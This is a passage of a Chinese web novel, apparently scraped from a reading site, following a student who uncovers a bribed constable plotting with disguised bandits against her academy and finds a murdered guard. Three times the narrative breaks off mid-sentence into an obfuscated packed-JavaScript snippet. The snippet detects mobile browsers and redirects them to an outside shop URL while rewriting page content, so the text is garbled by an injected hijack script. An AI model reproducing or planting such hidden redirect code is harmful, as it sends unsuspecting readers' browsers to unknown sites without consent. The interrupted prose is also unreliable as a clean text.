于允芳问初暒,“我听吴夫子说,是你独自将被土匪绑走的学生安全带回,并猜到土匪会伺机来书院报复,组织众人自保时发现书院建造图纸分率不同、继而找到暗室带领大家三次击退土匪骚扰。” 前几日情况危急,她顾不得什么不要出头更不要引人注目的念头,只想将人全部保住,如今事情逐渐平息,自己那些完全不符农户之女行为的奇异之举也已经慢慢开始在安南书院学生们的闲聊话头中出现了。 但做就做了,闪烁其词反而更显古怪。 “是我。” 这丫头看着自己的目光毫不闪躲,脸上既没有一丝得意,也并无想要与他深谈的意思,于允芳虽然和吴所仕一样对她充满好奇,可终究还是没有刨根问底。 “谁心中都有不能与外人称道的秘密,关键是这秘密能支撑人往前走多久,又能走到何处,你行事有些许冲动但本性并不坏,又向来都是个有主见的姑娘,做你认为对的事,去你该去的地方,莫要管旁人如何猜想。” “嗯。” 知道他们对自己有疑惑,却都默契地不怀疑、不追问,不深究,初暒心里感激,可也只能感激。 “于先生,我今日来还有一件事想告诉您。” 她顿了一下,像是在琢磨怎么开口合适,“那日绑了栗铜与陈家宝的土匪是南夷人。” 于允芳大惊,“南夷人?怎么会是南夷人?” “我原先也想不通南夷人为何会假扮土匪出现在中北虔来山上,今日听您说朝中有人怀疑那山中有矿产时才恍然。” “难道说这虔来山有矿产的消息早已被人透露出去?”于允芳忽然回想起,“我曾听闻镇守西南的宣威军夜里常遭南夷小股流寇骚扰,但多数时候都掀不起什么风浪,莫非是他们声东击西,仍有一些人在此过程中悄悄混了进来?” 初暒记起书院学子在闲谈中好像也提过这事,颔首,道,“十分有可能,我遇上南夷土匪时发现他们已经不在乎暴露身份,似乎……是有意想放出风声扰乱中北民心。” “南夷地界矿产丰富,若是大兴朝真能在中北找出矿产山脉,那他们唯一能与我们谈条件的东西就会变得可有可无,难怪近期总能传出虔来山土匪伤人害命的消息。”于允芳眼中闪过一丝鄙夷,“南夷地方小,掌权的眼界也如此狭隘,矿山探测、挖取、转运、冶炼无一不需要时间与精力,就算虔来山真有矿产,矿产质量如何也不能保证,就算走运是精铁矿,中北短时间内也无法将其转化成可供使用的铁器,只听风声就急切地出此下策,真没有辱没蛮子这个名号。” “他们既然敢自爆身份,那么便都没有打算活着回去,我无法判断出那两个土匪在虔来山究竟有多少同伙,只敢肯定绑架安南书院学生失利,又被书院学生箭杀了数人,若是不报此仇,那些就枉为地少人稀、心胸狭隘的南夷人了。” 她说的有理,于允芳也觉得安南山这些天太平的有些蹊跷,“书院近几日一直有官兵转悠,土匪们不敢造次也是必然,只不过那些官差无法在书院驻守太久,恐怕那些土匪隐忍至今也正是在等待他们撤离。” “安南书院防御工事完整、易守难攻,只要我们不踏出书院一步,土匪们进不来就只能在外面耗着了。” 难得听她说出这么孩子气的话来,于允芳忍不住笑笑,“我们能一辈子都守在安南书院不出去么,土匪在耗,书院众人不是同样在耗着,他们在外行动自由、供给不愁,可被他们围困着的书院众人攒下的粮食、物品又能支撑几日,到时候不用土匪们费力砍杀,咱们自己都先把自己饿死了。” 前世打仗,初暒就不晓得什么是防守,她始终认为,这世间最好的防守就是进攻,对旁人的保守打法提议向来都嗤之以鼻,如今要护着一群手无寸铁、从未见过杀戮的天真学生了,才明白能不费一兵一卒就能打赢的防守战虽然听起来不切实际,但仍值得去尝试,她要学的东西还有很多。 “此时外面定有许多土匪暗线在盯着书院,放学生回家我担忧会牵连他们的至亲,这个消息能瞒就接着瞒吧,为今之计,还是得将所有学生汇在一处,并尽力拖延官差撤走的时日,在此期间,大家再一起想想能永绝土匪后患之法罢。” 初暒:“是。” “你前几日风头太盛,等学生们惶恐劲儿过了,你必然会成为他们热烈追捧的对象,要是不想引起官差们的注意,最好少同同窗聚在一处。” 初暒:“明白,那于先生您先忙,我先告辞了。” “去罢。” 向于先生行完弟子礼,初暒转身走出书房。 天边晚霞渐渐连成一片,她靠在院中一棵参天大树上驻足仰望。 总算知晓邱阳因何事被逮捕,假扮土匪的南夷人怪异之举也有了合理的解释,头顶上连日以来的愧疚、疑惑乌云终于在与于先生的交谈中缓缓疏散。 心里微微松了口气,她转过身正欲回女子校舍时,忽然瞧见从东厨门口闪过一道熟悉的身影,那人身材魁梧,行事却瞻前顾后、鬼鬼祟祟,初暒抬步刚想去跟,肩膀倏地被人用力拍了一下。 “嘿!你躲在这儿干嘛呢!” 陈家宝拖着肉呼呼的身躯轻巧地跳到初暒面前,笑道,“我们在讲经堂纳凉,苟旦说半天不见你,非嚷嚷着让大家来找,不过你也别嫌他烦,实在是这几天大家都过的胆战心惊,生怕再把谁丢了。” 初暒:“没干什么,只是书院人多吵吵嚷嚷的,我在这里清净了一会儿,正准备回校舍歇下呢。” “是了,县衙来的那些官差白天黑夜的在书院内外转悠,兢兢业业的不行。”陈家宝四下张望了一下,凑过来小声道,“眠眠你不知道,我去县衙报官想要托他们差人寻你那日,将我抓起来的那个衙役也被派来驻守咱们书院了,他好像不认识我,每回见着还常同我打招呼,搞得我怪不自在的,也不知他们会在书院待多久,总觉得有外人在大家伙打闹起来都别别扭扭的。” 陈家宝絮絮叨叨的说了许多,初暒偏头掠过他看着方才闪过那道熟悉身影的方向,漫不经心问,“抓你的那个衙役长什么模样,你要是不想见他,下回儿我遇着他后提醒你。” “唔……挺好认的,那衙役长得身材魁梧、人高马大,笑起来挺憨厚,我曾听到与他关系好的人喊他纪天兄弟来着,也不晓得他是姓纪名天,还是单名叫纪天……” 纪天? 初暒记起在虔来山脚巡查的两个衙役,其中一人也被喊作纪天兄弟。 刚刚那道身影…… 原来是他。 “嗯我记下了。”初暒像是忽然想起什么似的又问他,“上回你与栗铜骑回来的马匹还在书院吗?” “在呢,我们偷偷将马儿从栗铜家牵走的时候他爹娘不知道,估计只当是它自己跑了,这些天官差夫子们又不让咱们外出,故而只好继续留在书院了,吴夫子担心马儿踢着学生,所以让我拴在东厨后门了,粮食菜蔬啥的都从那儿过,我喂马时也方便,怎么你要骑么?” “我不骑,就是突然想起来好久没见过它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888098|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” “这有什么,我现在带你去看它都行。” “好啊。” 自从陈家宝过年时在家门口瞧见一队骑着雄壮魁梧马匹、英姿飒爽的人那刻起,他就对高大威武的马产生了极为浓重的兴趣,正巧那会儿初暒为了柏桥村借粮一事找到他,陈家宝这才有机会学会骑马,如今虽说喂养着的马儿来路不正,但好歹有一匹真正的马短暂的属于自己,他已经非常欣喜了。 从夫子书房到东厨后门的路程并不远,可是陈家宝已经向初暒将自己的小马重头到尾的夸赞了一遍,就在快要走到门口、他不停讲话的嘴唇也有些干痒开始抿嘴舔舐的间隙,初暒忽然听见门外面‘叮’了一声。 这声音极为清脆,就像两个利器轻轻碰在一起,而后再也没有分开。 傍晚的院落里有风拂过枝叶、有鸟兽在上空盘旋低鸣,纵使那声音混在傍晚的晚风与鸟兽低鸣中,初暒仍然在其中听到了那个微不可察的、清脆的碰撞声。 陈家宝伸手刚搭上东厨后门门栓,初暒快走一步按住他的肩膀,佯装害怕,道,“哎呀,天都快黑了,咱们不看了吧,我想回校舍了。” “可是咱都走到这儿了……” 陈家宝有些恋恋不舍,初暒扯着他的手臂将他往回拉,“反正就在此处,下回咱们有空再来。” 将这个不情不愿的小胖子拽走,初暒回头看了一眼那个与往常并没有什么不同的东厨后门,心里忽然有了不好的预感。 耳听门那头的脚步声渐行渐远,抵在铁质腰带的匕首尖才缓缓离开。 纪天感觉捏着自己喉头的手松了,腰后的威迫也没那么大时他瞧见一个身材瘦小,眼中却满是精明的男子从身后走到自己面前,抱歉笑了笑,“官大哥,方才多有得罪求您千万不要怪罪,小的实在是没其他办法了这才出此下策。” 男子身量不高,要不是他站在纪天面前,纪天转过身但凡不低头都瞧不见他。 纪天瞧见这人的笑中有讨好、有歉意,但是没有威胁,他估摸着自己一个能打这样的三个,于是非常轻易的忘记了男子刚刚对自己的威迫,问,“你是何人?” 瘦小男子极为羞涩地笑道,“小的乃是虔来山土匪。” 他将土匪这两个字说的轻巧至极,然纪天却听得震耳欲聋,他下意识后退几步,哆哆嗦嗦说,“我我我……你你你……” 瘦小土匪担忧的向前追了两步,“您说什么?” 纪天指着他,费力说出一句,“我们数十官差在此地护卫,你们怎么还敢过来!” “嗐,这不是刚跟您说了,是实在没法了才来的。” 他一脸为难,好像真是被逼无奈似的,纪天问,“谁逼你了?逼你什么了?你有难处为何不向衙门含冤,跑来吓我做什么!” 他连珠炮一般让人插不进嘴,瘦小土匪在心里翻了个白眼,继续委屈说,“官爷是这样的,前几日我们寨有几个不长眼的私自出来绑了这书院里学生,被他们另一个学生给赎回去了,那个赎人的学生是个女娃娃,模样长得还不赖,大当家听说后想将她请回去做压寨夫人,故而我们二当家连夜带着人与聘礼就赶过来了,谁知他们刚到门口就被书院学生使暗器给打了,送了好些人归西,二当家既没请回夫人、又折了那么多弟兄,他嫌丢人就没敢将此消息传回去,我们在山里寻摸了几天还是觉得怎么着也得把人先带回去交差最好,可您这些官爷将安南书院守得如同铁桶一般,我们实在没机会见着压寨夫人,二当家这才命小的前来……求求您。” 瘦小土匪一边说一边将手里的东西往纪天胸前的褡裢里塞。 当纪天意识到他塞给自己的是什么东西后,心里的惶恐顿时烟消云散,他嘿嘿一笑,“原来是这么回事,我瞧着书院里也没几个丫头,你想见也不是不行,只不过上头这回派来的人不少,我需得找个道行深的商量商量,你且等着,有信了,我找你。” “哎呦,那真多谢您了,小的等着您的好消息。” 土匪毕恭毕敬的模样让纪天心里很是愉悦,原先总听说虔来山土匪凶狠,今日一见也不过如此么。 看着这个高大的衙役捂着胸口欢快的从后门进去,瘦小土匪听到从身后阴影处走出来那人,冷冷地发问,“瘦猴,你确定这法子可行?” 50. 牵线 安南县衙此次总共派遣了三十人驻守书院,王羌曹将其分成六支五人小队,命他们轮番在安南书院内外、日夜换班值守。 安南书院的校舍不富裕,学生们平日里就已经在挤着睡了。 官差们刚来那天,吴所仕正发愁该如何安置他们,王羌曹却大手一挥说,一群大老爷们儿没有那么多穷讲究,随便给他们找见屋子打地铺便可,故而书院学生将崇义斋打扫出来,每人又从自己的床铺上抽了一块褥子,这才把他们安顿下来。 依照王羌曹的安排,安南书院白天黑夜、院内院外都有小队执械巡逻,吴所仕准备的住所也是早晚均有人在里面休息补眠。 纪天轮的是夜巡,同队的还在屋里抓紧时间多睡一会儿,他却早在傍晚就精神抖擞的起来在安南书院悄悄摸了一圈。 临近日夜交班的点儿,崇义斋内已经有人翻身起来的动静,纪天徘徊在门外焦急地伸着脖子向远处的月亮拱门张望,可等了许久还是不见有人过来。 “纪天兄弟?” 有人从另一个方向回来,见纪天皱着眉在这里转圈,他疑惑地喊他一声,又问,“你在等人么?” 纪天心里藏着事,正在出神,身后这道蓦地响起的人声给他吓了一个激灵。 “哎呀!徐英哥你走路怎么没声啊,这大黑天的吓死我了,诶?你不是刚下了白值,怎的从那头回来了?” 徐英笑笑说,“我之前听学生们说,安南书院防御工事完整、易守难攻,各处暗室机关更是极为巧妙,我对此道颇感兴趣,因而想趁着交班,四处观摩观摩,倒是你,快上值了还在这里做什么?” “徐英哥,刚才……” 纪天正要将遇着虔来山土匪的事向他和盘托出,崇义斋门忽的被人从内里拉开,说时迟那时快,纪天拽着徐英一个箭步走下台阶,借着夜色的掩盖躲到了一个花坛后面。 “纪天兄弟,你这是做什么?” 老大哥虽满脸不解,可是眼中坦坦荡荡,这份坦荡让纪天突然有些愧疚难当,他支吾好一会儿,才说,“刚才我去东厨后门的时候遇着虔来山的土匪了,那人说自己与书院有误会,他们前几日不是来向书院学生寻仇,而是来接压寨夫人的。” 徐英大为震惊,“他们的压寨夫人在安南书院?” “啊呀,徐英哥你声音快快小些。”纪天手忙脚乱的捂住他的嘴,继续说,“不是不是,是他们绑了书院两个学生那次,与学生打交道时看上了一个姑娘。” “他们看上他们的,跟你有什么干系?咱们当兵的再没有本事,也万不能与当贼的扯上关系啊。” “我也晓得这样不好,可是他们都求到我这里了……” 纪天从怀里摸出几大块金灿灿、硬邦邦的的东西,他捧到徐英眼前,讨好说,“还给我塞了这些……” 即使天黑的伸手不见,可徐英还是清清楚楚的瞧见他手中几大块金砖,“这这这……这也太多了吧!” 徐英哥冒着金光的双眼,让纪天心里稍稍松了口气,“一场误会而已,王县尉却如此大惊小怪,再说他们要的只是一个小姑娘,我瞧在安南书院读书的学生家境都不算太好,有几个姑娘都到出阁的年纪了家里人还不给接回去,想来也是不受待见的,先前听您说虔来山的匪贼日日都能大鱼大肉、富得流油,要是咱真能给他们牵个线、当回红娘,怎么着也算是功德一件吧。” 他这话说的真心实意,徐英心里也泛起了嘀咕,他余光偷偷瞥了眼在纪天手里熠熠生光的东西,挣扎了一瞬,还是问,“你知道他们看上的是书院哪位姑娘么?” 纪天脸上一喜,答,“他们也不确定,说是想先悄摸看看,但这里不就只有几个女娃娃么,咱再打听一下都是谁在土匪绑走学生一事上出了力,不就晓得了。” “可是……就算家境不好,也没有哪户好人家愿意将自己的姑娘嫁给土匪做山寨夫人吧,我还是觉得不好,要不……” “徐英哥!”纪天打断他,劝说,“您在县衙兢兢业业那么多年可还只是个小衙役,别说娶媳妇,就连自己都差点养不起了,眼下有这么一个发财的好机会还犹豫什么,而且人家土匪是要正儿八经的娶压寨夫人回去享福的,又不是强抢民女,那姑娘会过上好日子的,您不必觉得愧疚。” 纪天这小子进衙门时间不久,却实实在在学到了一个油嘴滑舌的本事,徐英略一思忖,咬牙道,“那就干吧!” “哎!” 两人好不容易说拢,徐英皱眉又问,“可是该怎么干呢?” “我倒是有一个主意,只不过……” 徐英刚将耳朵凑到纪天嘴边,院里这时响起一阵铃声,伴着铃声,王羌曹仰着脖子对天高喊,“安南县衙驻守书院官差!集合!” 不知因何事集合,躲在黑暗中的两人相视一眼后却都只从对方瞳中瞧见迷茫,纪天将手中的金子重新塞进胸前褡裢,转身掠过徐英往那声音响起之处狂奔。 书院人多事杂,未免给诸位官差大人巡视增添不便,学生们这些时日用过晚饭就各自回了校舍学习休息,前院与校舍又相隔较远,因此王羌曹的铃声与吼叫声并未传到学生们耳中。 在书房笔耕不辍的于允芳正俯首在案牍上整理书写,房门又被人砰砰敲响—— “于先生,我们县尉大人有请。” 跟着带路官差来到前院,于允芳看到吴夫子也被请了过来,两人相视后还没来得及开口,王羌曹高声整合完队列先朝他们走了过来。 “方才接到知县传话,上头不知为何忽然要我召集人马回去,此事紧急,我不便细谈,还请先生们莫要责怪。” 吴所仕担忧的看向于允芳。 下午才商讨过要尽力拖延官差撤走的时日,可没想到这消息来的如此迅速,于允芳面色凝重,思忖许久还是颔首,拱手道,“这些天诸位不辞艰辛的护卫着安南书院,我们师生感激还来不及,怎会责怪于你。” 王羌曹一介武夫,长到这么大就没待见过几个书生,但在安南书院驻守,与夫子共事、与学生作伴的这些天,他开始觉得若是到自己这批老骨头年事已高不能为国效力时,接手这个天下的官员或者其他什么位置的人是这些聪慧机敏、沉着冷静、心怀家国的学生,那大兴王朝也算还有个指望。 见他们想出言挽留,又不愿为难自己,王羌曹出言安抚,说,“两位先生莫要担忧,此次撤离并不会将所有人全数带走,我会将一支五人小队留在书院中继续护卫安南书院众人安危,若是虔来山土匪还敢再来嚣张造次,便由他们发出冲天信号,若见信号,我必带人赶来支援。” 只要有官差守着,就总能震慑到那些匪贼。 于允芳看向院中安排分明的队列,眯眼问道,“那里怎的少一个人?” 少一个? 王羌曹闻言立刻过去查看,果真发现白日在院外巡守的小队中少了一人,他厉声斥问,“徐英!你底下的人呢!” 徐英扭头一看,队里那个姓梁的小子不见了,明明整队的时候还瞧见了…… 上头还在等自己回话,徐英急中生智,“回王县尉,整队时他说内急,我便由他去茅厕了!” “懒驴上磨屎尿多!你见着他的时候让他回去找我领罚!” “是!” 留在书院中继续护卫的小队少了一人,王羌曹扫视着底下众人想再挑一个块头大能镇住场子的。 纪天站在返回县衙的队列里。 王县尉将徐英那支小队留在安南书院时,他急的满头大汗,生怕自己与土匪的那桩生意黄了,此时他见王羌曹的眼神不停掠过这里,一边猜想他莫不是要再给徐英队里选个人吧,一边垫着脚,试图吸引那位县尉大人的注意。 纪天本就生的高大,这会儿又垫了脚,王羌曹一眼就瞧见了站在队列老后面那人,他挥手,“后面那个大高个,对,就你!你跟着徐英留在书院!” 纪天抑住心中喜悦,“是!” 驻守人员安排妥当,王羌曹对徐英嘱咐几句,又向于允芳与吴所仕告了辞,一行人才策马连夜下了山。 留守安南书院的小队白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈家宝趴在四教亭石桌,用指尖描绘桌上镌刻的棋盘,呢喃,“我爹竟然能忍住这么长时间不见我,真不知道书院是怎么跟他说的。” 栗铜也纳闷,“视子如命的陈富户敢得知自己的宝贝旮沓在受这苦,还不得将这安南山给哭塌了,难道说……山下的人至今都不知道咱们书院的近况?” “有可能,不过你还记不记得我先前跟你说过的,我去县衙报官的时候看见的那位手执金牌勒令知县派人支援咱们书院的高大男子,他是知道咱们这里消息的。” 栗铜:“知道了又能如何,咱们书院遭此大难,还不是连个人影都见不到。” 陈家宝:“话不能这么说,那日要不是他,我恐怕也不能和于先生带官差及时赶回来,救大家于水火中。” 栗铜:“我只是……” “哎!怎么只有你们俩在这儿?” 成非从前院小跑过来,一坐下就抻着脖子四处张望,“苟旦芊芊眠眠呢?” 陈家宝告诉他,“苟旦还是风雨无阻的在百果园照看自己种的粮食,赵芊芊好像在讲经堂做女红,眠眠……眠眠我不清楚,她这几日神秘的很,神龙见首不见尾。” 栗铜问,“你找他们做什么?” 成非:“不是我找他们,是留在咱们书院的官差,他们上午巡视时不小心被正门外头的机关伤着了,遇着我时便问清不清楚这机关自己人怎么避开,这事我哪里晓得,因而只跟他们说我去找人问问,我看为首那人手上的伤不轻,便想着也顺便找芊芊给他医治医治,谁知找了一大圈都不见人。” 官差们为了保护他们在巡视中受伤,栗铜立刻起身往讲经堂跑,“那我先喊芊芊过去,眠眠不在院里就在校舍,你也快去找找!” 成非:“哦,好。” 看着他俩迅速跑开,陈家宝心里犯起了嘀咕—— 县衙官差们前几天在书院内外巡查了好几个日夜都没出事,怎么大部队才撤走就有人被机关伤着了呢? 他心中有些忐忑,踟躇了片刻起身跑向了夫子书房。 51. 竹刀 “嘶……” 针尖刺入指尖,豆大的猩红血珠便立时渗进了用绣绷固住绣品中。 藕粉色的布料上晕染了一点血迹,赵芊芊一边用唇角抿住痛痒的手指,一边蹙眉思忖该如何挽救这幅女红。 “芊芊,赵芊芊!” 栗铜大呼小叫的边跑边喊,赵芊芊闻声搁下手中针线走了出去。 “怎么了?” “留守咱们书院巡护的官差受伤了,你不是懂些医术么,能否托你前去帮他们包扎包扎啊?” 赵芊芊往他身后看了一眼,栗铜立刻说,“如今留守书院的官差数量不多,他们不便擅离职守,此时受伤了还在书院外头继续当值呢,就在咱们书院门口,你要是害怕我可以陪你一起过去。” 赵芊芊:“我去看看,只是药箱还放在校舍,我这里的绢帛与外敷药物所剩不多……” “我跑的快,我去帮你取!” 栗铜跑的确实快,快的将赵芊芊后半句话连同风声一起落在了身后。 见追不上他,赵芊芊也不想白费时间,她回到讲经堂摸出自己放在书案下的小布包,独自往书院正门走。 大队官差撤离,书院里的学生没有了约束,逐渐又恢复了往日的精神与活力。 赵芊芊走到门楼时,迎面遇上一群追逐打闹的学生,她刚侧身躲过他们却不想还是这群活泼好动的孩子撞倒在地。 举止不端,还撞了人。 领头的学生害怕赵芊芊向夫子告状,慌慌张张将她扶起,又赔了不是后连忙带着伙伴撒腿就跑。 赵芊芊扭到了脚,还没做好站起来的准备,整个人就被他们架着立在地上,单脚晃悠的站不太稳,她忍着痛慢慢向墙面挪了过去。 手上的布包在倒地瞬间被甩了出去,赵芊芊扶着墙低头寻找,幸好布包颜色鲜亮,她在门楼拐角的墙根看到布包一角和…… 一根材质似竹,削磨尖锐、切面如刀的东西。 这东西刃口锋利,不像是书院学生之物,赵芊芊将自己的布包拾起捏在手里,想了想还是把那件利器也一同捡了起来。 自从书院周围出现过土匪,安南书院就几乎没有学生敢独自在门口晃悠,之前仗着有人护卫,有胆大的男孩会结伴缠着官差们问东问西,但是自从他们大部队撤离,院门外又恢复成前段时日那般寂静。 今日此处更是安静地出奇。 赵芊芊跨出门槛并未见到一人,她一瘸一拐的下了台阶在门前张望,转身时用布包捏住的竹刀不小心从手中滑落。 竹刀就掉在眼前,可是她的脚许是扭到骨头了,只靠自己站不起来,想蹲下将它捡起就更难了。 午时的太阳有些灼热,阳光将赵芊芊烤灼的满头大汗,就在她不知所措时,栗铜背着药箱从书院里冲了出来。 “诶?外面怎么就你一个?那些官差呢?” 他跑的气喘吁吁,赵芊芊也晒得满脸通红,她摇摇头,轻声说,“我出来就没见着人,你是不是记错了,他们并未在此处巡守?” “成非说就在此处啊?该不是我寻你这会儿他们巡到别处了吧。”栗铜有些摸不着头脑,“嗐,没人你就回去呗,都热死了还在这蹦跶什么?” “东西掉了捡不起来。” 栗铜顺着赵芊芊的目光看向地上,弯腰捡起那把竹刀,笑道,“你哪来的,这东西做的还挺好。” “捡的,我准备拿回去给眠眠看看。” “成,那咱回去吧。” 栗铜转身走了几步听见后面的脚步声不对,回头问,“你脚怎么了?” 赵芊芊:“脚扭了,不要紧,你先走。” 栗铜皱眉,“怎么不早说,早说我就背你回去了,多大点事啊!你们姑娘家就是喜欢磨唧。” 他说完不等赵芊芊反应,将竹刀塞进腰带,捏住赵芊芊的肩膀就把她整个人甩到自己肩上,大步流星的回了书院。 安南书院正门被人从里面扣住,伏在不远处树丛中的几人才冒出头来。 “瘦猴,你脸色怎的这么难看?咱们要找的人是她?” 瘦猴咬牙点头,切齿道,“那丫头掉在地上的竹刀与插在胖冬喉间的那把一模一样!” “你确定?你不是说她已经……” 瘦猴:“那日她的脸上虽然抹了泥浆,可是身形与发丝就像刻在我的脑子一般,还有那支削砍独特的竹刀,二当家,我看不错的!” 二当家回忆着那个弱不经风的小姑娘,点头道,“既然只有你见过她,你说是便是吧,那么咱们接下来该怎么做?” “安南书院众人杀我那么多弟兄,让我们山寨在虔来山脸面尽失,只勾一个小丫头的性命如何能解你我心头之恨。”瘦猴狠狠看着那两扇紧闭的大门,冷笑,“我要让他们给胖冬陪葬,为威虎寨赔罪!” 被养的膘肥体壮的骏马在林间悠闲吃草。 在老地方与土匪碰头后,纪天又揣着几块金砖美美的从东厨后门进来,看他走远,屏息蹲在灶台旁边的初暒又静等了片刻才蹑手捏脚从后门出去。 她跟着门口纪天的脚印一路来到足以藏匿三四个人的草丛中,果真在里面发现被踩的歪七竖八的草根和残花。 纪天在与书院以外的人密切联系。 他到底想干什么? 陈家宝与栗铜的马吃饱了正在原地甩着尾巴驱虫打盹,初暒绕过它正欲在此处仔细搜寻一番,忽然鼻中嗅到了一股难闻的气味。 夏天正午,饶是遍布树荫的山间也闷热难耐,这马儿好几天吃喝拉撒都在这里,有一些不雅的味道实属正常,旁人或许分辨不出来,但是初暒前世见得多,闻得也多,一嗅便知这气味里除了有粪便与马食变质的味道,还有尸臭。 陈家宝爱马,经常过来喂食和清理马匹粪便,说是清理,无非是将马儿排泄出来的东西用铁锹铲到林子里稍远一点的地方,但是陈家宝这位大少爷平日里哪干过这样的粗活,他所谓清理马粪,就是将它们铲到眼睛看不见的地方而已,于是初暒只往树林里走了两步,就在坑里看到一堆小山似的的马粪。 跳进坑里,那股难闻的味道越发明显,她捡了截粗壮枯枝,慢慢将马粪左右拨开,片刻后,一具安南县衙官差打扮的男子尸首歪着脖子在粪堆里显露出来。 不好的预感成真,初暒心里有些焦躁。 原先土匪在外,她还能带着众人在安南书院里边躲边还击,可学生身边、书院之中要是真有什么不干净的东西,那可如何是好…… 初暒手指勾着枯枝叉腰思索,事关重大,她不能再自作主张,需得尽快回去向于先生说明此事,用枯枝将马粪恢复原状,又在树林中环视一圈,没有发现有人监视自己后,她快步离开此处。 陈家宝前脚从于允芳书房出来,初暒后脚就推门进去。 将方才的见闻与猜测全部告诉于先生,她听到他问,“那尸首眉心处是否有一浑圆黑痣?” “是,您如何得知?” 于允芳转过身与她解释,“昨夜列队,我发现留守书院的官差小队中少了一人,王羌曹问了领队,才知道不见踪影那人是因为内急,去了茅厕,那位叫纪天的其实是顶了别人的位置才得以留在书院,你说东厨后门发现尸首,失踪那人至今不见他回来与我报备,我便猜测可能是他。” 初暒:“与纪天交情较好那位,我原先大约也见过,于先生要不咱们……” “眠眠。”于允芳打断她,嘱咐,“如果留守书院这几位官差中真有人不干净,那么与他们朝夕相伴的学生们便随时处在危险之中,此事已牵扯人命,可我们既分不清敌我,又不知那脏东西的目的是什么,所以万不能打草惊蛇,我知你不想再引人注目,但为了学生安危还是需要由你护着他们小心应对。” “我自会护着他们的,可是……” “你只管与同窗们待在一处,莫要使他们起了疑心,尤其是陈家宝,他心眼多,像是已经觉得留守书院的官差有些不对劲了,其他的就不必再说,此事我已有定夺,你去请吴夫子过来,就说我有事找他。” 于允芳的语气不容置喙,知道改变不了他的决定,初暒只得不甘愿的拱手答是。 她转过身时还在奇怪于先生今日为何如此反常,忽听身后那人喊住她问,“眠眠,你今岁过去就十六了,家里父母亲可为你取好正名?” 他好似突然想起来了,便随口一问,可初暒却顿了许久,才回说,“取了,我正名为……初暒。” “哪个暒?” “日星暒。” “日星暒。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888100|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于允芳喃喃,而后捻须点头,笑道,“我还当是竖心情,那个情字太过缠绵,还是日星暒好,星与日同伴,也理应与日同辉,能压住这字的人不多,也难怪你如此……不同……” 他后面的话初暒没有听清,问了句,“您说什么?” 于允芳摇摇头,“我这几日不分昼夜的奋笔疾书实在是乏了,你瞧都开始说胡话了,趁着我这会儿还清醒着,快些去将吴夫子请来罢。” 初暒深深看了他一眼,却看不出这位先生有何不同,她躬身向于允芳行礼,回,“是,我这就去。” 将于先生的话带给正在百果园与苟旦浇地的吴所仕,初暒往回走时遇到了从校舍出来的成非。 “哎呀眠眠,可算是找到你了。” “发生何事了?” “留在咱们书院的官差们上午巡视时不小心被正门外头的机关伤着了,他们想问问书院外围的机关自己人怎么避开,我们都不晓得,所以特地来寻你去帮忙。” 伤着了? 初暒问,“你见过他们了吗,伤的重不重?” “我瞧着挺严重的呢。”成非模样有些着急,“所以先赶紧回来喊赵芊芊出去帮忙了。” “出去?出哪儿去?” 成非:“官差们在书院外面护卫,不便擅离职守,栗铜便去找赵芊芊过去替他们包扎,诶那不是他俩么,已经回来了。” 老远就看到栗铜胸前挂着药箱,身上背着赵芊芊朝他们风风火火的走来,成非上前迎了几步,问,“这怎么回事啊,咋还背上了?” 栗铜将赵芊芊轻轻放下,初暒看到她用力的那只脚踮了两下以便让自己站稳,于是立即蹲下用手去握她虚点在地的另一只脚,“扭着了?” 赵芊芊嗯了一声,栗铜说,“不知道哪个莽撞的给她碰倒了,唉早知道我就让芊芊在讲经堂等我,我俩一起出去了。” 骨头有些错位。 初暒仰头对栗铜说,“你扶着她点儿。”而后一手握住赵芊芊的脚掌一手捏住她的脚踝,随口问,“那位被机关伤着的官差,伤势如何?” 赵芊芊正想开口,脚踝忽然猛地一阵刺痛,‘叭’的一声刚落下,她倒抽的凉气就紧接着响起。 初暒又摸了一把她脚踝上扭着的那处,确认没问题后,才站起身,“少跑少跳,脚踝骨头虽然正回来了,但还是得肿上几天。” 虽然还是有些难受,但总算没有刚刚那么疼了,赵芊芊踮着脚尖慢慢活动脚踝,欣喜道,“多谢眠眠!” 栗铜惊讶问,“你还会正骨?我的天爷啊你到底不会什么?” 成非见怪不怪,问他,“你们给人家包好了?怎的这么快就回来了?” 赵芊芊:“书院外面没有人,我还在想是不是你大惊小怪了。” “怎会!我都见领头那个官差手臂哗哗流血了,还是他们的人说听闻咱们学生里有专门管包扎的,我才替芊芊揽下这活儿的。”成非急忙解释,“我走时候瞥见他们就靠在书院卷棚底下暂歇呢,谁知回来喊芊芊的功夫就没影了,估计是半天不见我才走的吧,要不等晚上见着他们了去问问?” 留在书院的官差们上午巡视时不小心被正门外头的机关伤着了,他们想问问书院外围的机关自己人怎么避开…… 听闻书院学生里有专门管包扎的…… 他们一个忙想找自己,一个忙想找赵芊芊。 都是姑娘? 初暒看向成非,“你确定领头那个官差手臂被机关伤着后,血是哗哗的流?” 